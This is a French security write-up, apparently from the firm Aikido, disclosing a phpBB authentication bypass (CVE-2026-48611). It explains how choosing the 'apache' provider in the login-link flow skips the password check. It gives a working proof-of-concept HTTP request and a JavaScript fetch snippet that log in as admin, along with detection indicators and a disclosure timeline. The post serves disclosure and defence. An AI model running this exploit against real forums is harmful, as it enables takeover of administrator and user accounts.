Le 10 juin, nous avons signalé une vulnérabilité critique dans phpBB permettant aux attaquants de contourner l'authentification, désormais référencée sous le numéro CVE-2026-48611. Cet article fait suite à cette annonce et contient des détails techniques expliquant les scénarios d'exploitation et les méthodes de détection.
Pour vous mettre au courant, phpBB est un ancien logiciel de forum qui est encore utilisé aujourd'hui par diverses communautés techniques. À lui seul, le « Site Showcase » de phpBB compte plus de 6 millions de membres. Bien qu'il y ait eu par le passé des attaques notoires, comme le ver « Santy » en 2004, le logiciel n'a pas connu beaucoup de problèmes liés à des failles de sécurité ces derniers temps. Cette divulgation vient rompre cette tendance.
Alors que nous menions des recherches pour améliorer notre produit de tests d'intrusion basé sur l'IA, les agents Aikido nous ont signalé une « faille critique permettant de contourner l'authentification » dans phpBB. Au début, nous étions quelque peu sceptiques. Nous pensions qu'il s'agissait sûrement d'une erreur de configuration ou d'un cas particulier que nous avions mal géré lors de l'installation. Mais nous ne pouvions pas être plus loin de la vérité.
La faille découverte fonctionne dans la configuration par défaut et ne nécessite qu'une seule requête non authentifiée pour se connecter pleinement à n'importe quel compte. Se connecter au compte d'un administrateur pourrait vous permettre de prendre le contrôle de l'ensemble du forum !
Après avoir constaté cela, nous avons immédiatement signalé cette faille de sécurité sur HackerOne et avons reçu la confirmation qu'elle avait été évaluée en moins de 9 minutes!
Quatre jours plus tard, un correctif a été publié sous la version 3.3.17 afin de corriger cette faille de sécurité. Si vous gérez un forum phpBB, effectuez la mise à jour vers cette version dès que possible si ce n'est pas déjà fait.
Nous allons maintenant examiner quelles parties du code étaient vulnérables et comment elles ont pu être exploitées. Attention, spoiler : ce n’est pas l’exploit incroyablement compliqué auquel vous pourriez vous attendre…
Contournement de l'authentification
Tout cela est lié au fonctionnement précis de la procédure de connexion dans phpBB. Il ne s'agit pas du processus de connexion principal, mais plus précisément de la fonctionnalité « lien de connexion ». Lors de la connexion à des services externes tels que Google ou GitHub via OAuth, cette fonctionnalité permet de lier le compte à un compte existant sur l'instance phpBB ou d'en créer un nouveau.
Si vous choisissez de le relier à un compte existant, le système vous demandera de vous connecter à votre compte à l'aide de mode=login_link paramètre de requête. En soumettant ce paramètre, le compte OAuth sera connecté une fois que vous vous serez identifié.
La fonction de rappel est gérée par ucp_login_link.php et commence par rechercher login_link_* les données sous forme de paramètres de requête, qui ne doivent pas être vides. Celles-ci sont extraites ici :
class ucp_login_link {
function main($id, $mode) {
...
$data = $this->get_login_link_data_array();
if (empty($data)) {
$login_link_error = $user->lang['LOGIN_LINK_NO_DATA_PROVIDED'];
}
...
}
}
protected function get_login_link_data_array() {
...
foreach ($var_names as $var_name) {
if (strpos($var_name, 'login_link_') === 0) {
$key_name = substr($var_name, $string_start_length);
$login_link_data[$key_name] = $request->variable($var_name, '', false, \phpbb\request\request_interface::GET);
}
}Heureusement, il est facile de contourner ce problème en ajoutant quelques données factices, par exemple : login_link_aikido=1. Cela rend le $data n'est pas vide, et nous pouvons poursuivre le traitement.
En poursuivant la lecture du code, on commence à remarquer quelque chose d'étrange. Nous avons le contrôle sur le auth_provider paramètre de requête :
// Utiliser le fournisseur d'authentification demandé, même s'il diffère de celui configuré
$provider_collection = $phpbb_container->get('auth.provider_collection');
$auth_provider = $provider_collection->get_provider($request->variable('auth_provider', ''));Cette valeur n'est généralement définie que sur oauth, mais nous pouvons le contrôler entièrement. Il est censé indiquer au serveur phpBB quel fournisseur doit être utilisé pour vérifier l'authentification, par exemple si vous avez configuré à la fois une base de données locale et l'authentification OAuth. Mais que se passe-t-il lorsque nous fournissons d'autres valeurs ?
phpBB définit toutes ces entités comme des classes sous phpbb/auth/provider. Il y en a un qui s'appelle apache.php C'est très simple, un peu… aussi simple :
class apache extends base {
public function login($username, $password) {
$php_auth_user = html_entity_decode($this->request->server('PHP_AUTH_USER'), ENT_COMPAT);
$php_auth_pw = html_entity_decode($this->request->server('PHP_AUTH_PW'), ENT_COMPAT);
if (!empty($php_auth_user) && !empty($php_auth_pw)) {
// Basic auth username must match submitted username
if ($php_auth_user !== $username) {
return array('status' => LOGIN_ERROR_USERNAME, ...);
}
// Look up user in database
$sql = 'SELECT user_id, username, user_password, user_passchg, user_email, user_type
FROM ' . USERS_TABLE . "
WHERE username = '" . $this->db->sql_escape($php_auth_user) . "'";
$result = $this->db->sql_query($sql);
$row = $this->db->sql_fetchrow($result);
$this->db->sql_freeresult($result);
if ($row) {
// User inactive
if ($row['user_type'] == USER_INACTIVE || $row['user_type'] == USER_IGNORE) {
return array('status' => LOGIN_ERROR_ACTIVE, ...);
}
// Successful login
return array('status' => LOGIN_SUCCESS, ...);
}Il vérifie que le nom d'utilisateur envoyé correspond PHP_AUTH_USER (décodé Basique (nom d'utilisateur d'authentification), recherche l'utilisateur, puis renvoie simplement CONNEXION_REUSSIE. Mais il manque une chose : la vérification du mot de passe !
Félicitations, vous venez de découvrir une faille critique permettant de contourner l'authentification sur phpBB ! En choisissant un fournisseur inattendu tel que apache, on peut ignorer le mot de passe et se connecter en tant qu'utilisateur quelconque.
Bon, pour dissiper tout malentendu, les responsables n'ont pas simplement « oublié » d'ajouter une vérification du mot de passe à cet endroit. Le fonctionnalité prévue de la apache Le fournisseur part du principe que l'authentification est gérée par le proxy Apache avec .htpasswd, et chaque requête doit d'abord passer par ce module. Dans ce cas, phpBB se contente de prendre pour bon le nom d'utilisateur figurant dans l'en-tête d'authentification de base.
Ce que nous avons fait ici, c'est déclencher le apache fournisseur sans avoir à configurer Apache, grâce à une fonctionnalité conçue exclusivement pour oauth. Dans ce cas, le client devient directement le « proxy de confiance », et nous pouvons envoyer n'importe quel nom d'utilisateur de son choix.
Nous pouvons donc envoyer une requête qui déclenche le flux « login-link » avec des données valides et un nom d'utilisateur de notre choix, mais en configurant le gestionnaire pour qu'il apache pour contourner la vérification du mot de passe. Les noms d'utilisateur ne sont pas difficiles à trouver sur les instances phpBB, ce qui facilite la connexion en tant qu'administrateur ou modérateur.
Tout cela fonctionne dans la configuration par défaut de phpBB, ce qui rend la situation d'autant plus dangereuse
Démonstration de faisabilité
Il n'est pas difficile de reproduire cette faille. Sur n'importe quelle instance locale de phpBB, la requête HTTP suivante permet de contourner la sécurité pour se connecter à la administrateur utilisateur (encodé en Base64 dans le Autorisation : en-tête du type admin:x à YWRtaW46eA==).
POST /ucp.php?mode=login_link&auth_provider=apache&login_link_aikido=1 HTTP/1.1
Hôte : phpbb.local
Content-Length : 49
Authorization : Basic YWRtaW46eA==
Type de contenu : application/x-www-form-urlencoded
login_username=admin&login_password=x&login=ConnexionSi la réponse est réussie, les cookies sont créés et l'utilisateur est redirigé vers la page d'accueil. L'attaquant est alors pleinement connecté au compte ciblé.
HTTP/1.1 302 Trouvé
Serveur : Apache/2.4.67 (Debian)
X-Powered-By : PHP/8.2.31
Set-Cookie : phpbb_f4xf4_u=1 ; chemin=/ ; domaine=phpbb.local ; HttpOnly
Set-Cookie : phpbb_f4xf4_k= ; chemin=/ ; domaine=phpbb.local ; HttpOnly
Set-Cookie : phpbb_f4xf4_sid=4c512fa6d44b00f3fe760603e7a84257 ; chemin=/ ; domaine=phpbb.local ; HttpOnly
Set-Cookie : phpbb_f4xf4_u=2 ; chemin=/ ; domaine=phpbb.local ; HttpOnly
Set-Cookie : phpbb_f4xf4_k= ; chemin=/ ; domaine=phpbb.local ; HttpOnly
Set-Cookie : phpbb_f4xf4_sid=5e331defa66c2fc6db386f7c9abd0c55 ; chemin=/ ; domaine=phpbb.local ; HttpOnly
Location : http://phpbb.local/index.php/
Content-Length : 0
Content-Type : text/html ; charset=UTF-8Pour générer la requête ci-dessus, le code JavaScript suivant peut être exécuté dans la console DevTools de n'importe quelle instance :
const TARGET_USER = "admin";
await fetch('/ucp.php?mode=login_link&auth_provider=apache&login_link_aikido=1', {
method: "POST",
headers: {
Authorization: `Basic ${btoa(TARGET_USER + ":x")}`
},
body: new URLSearchParams({login_username: TARGET_USER, login_password: "x", login: "Login"})
});En actualisant ensuite la page Web, on constate que le pirate est connecté au compte ciblé :
Indicateurs de compromission
Vérifiez les journaux de requêtes pour repérer les requêtes POST qui contiennent auth_provider=apache et mode=login_link paramètres de requête regroupés. Il s'agit de l'exploitation la plus courante. Voir l'exemple de requête ci-dessus.
Notez toutefois que, comme phpBB lit également ces deux paramètres dans le corps de la requête POST, ceux-ci ont priorité sur les paramètres GET. Une requête visant à contourner le filtre peut alors ressembler à une requête classique mode=connexion, tout en jouant effectivement mode=login_link dans le corps. login_link_* reste un paramètre de requête obligatoire ; il peut donc servir d'indicateur d'une requête suspecte, qui sera ensuite analysée manuellement de manière plus approfondie. Il peut se présenter comme suit :
POST /ucp.php?mode=login&login_link_ANYTHING=1 HTTP/1.1
Hôte: phpbb.local
Longueur du contenu : 86
Type de contenu : application/x-www-form-urlencoded
Authorization: Basic YWRtaW46eA==
login_username=admin&login_password=x&mode=login_link&auth_provider=apache&login=ConnexionVoici le genre de problèmes Aikido détecte lors d’une analyse de routine. Il recherche les contournements d’authentification, les failles IDOR et les failles logiques, exactement comme le ferait un véritable pirate, puis valide chacune d’entre elles afin que vous ne voyiez que celles qui sont réellement exploitables. Utilisez-le sur vos propres applications et sécurisez-les rapidement.
Chronologie
- 2 juin 2026, 20 h 22 - Envoi d'un rapport au programme VDP d'https://hackerone.com/phpbb
- 2 juin 2026, 20 h 31 - Le signalement a été examiné par l'équipe de phpBB (oui, en seulement 9 minutes !)
- 6 juin 2026, 16 h 26 - Sortie de la version 3.3.17 avec un correctif
- 10 juin 2026, 12 h 33 – Nous publions un premier communiqué pour alerter les utilisateurs
- 10 juin 2026, 19 h 33 - Les responsables de phpBB nous demandent d'attendre quatre semaines avant de publier les détails techniques
- 3 juillet 2026, 2 h 45 – Publication de cet article technique
